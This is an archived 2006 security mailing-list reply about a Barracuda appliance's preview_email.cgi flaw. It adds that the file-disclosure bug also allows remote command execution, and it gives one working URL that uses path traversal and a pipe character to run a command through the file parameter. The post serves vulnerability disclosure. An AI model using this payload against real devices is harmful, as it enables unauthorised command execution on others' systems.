[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]

To: gssincla@xxxxxxxxxxxxxxx
Subject: Re: Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]
From: Matthew Hall <lists@xxxxxxxxxx>
Date: Thu, 03 Aug 2006 17:01:01 +0100

gssincla@xxxxxxxxxxxxxxx wrote:
> Title: Barracuda Arbitrary File Disclosure

This vulnerability doesn't just allow arbitrary file disclosure, but
also allows remote execution of commands through use of the pipe
characher (|), e.g:

https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|

Regards,
Matt

References:
- Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]
  - From: gssincla

Prev by Date: [DRUPAL-SA-2006-011] Drupal 4.7.3 / 4.6.9 fixes XSS issue
Next by Date: [ GLSA 200608-03 ] Mozilla Firefox: Multiple vulnerabilities
Previous by thread: Barracuda Vulnerability: Arbitrary File Disclosure [NNL-20060801-02]
Next by thread: DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow'
Index(es):
- Date
- Thread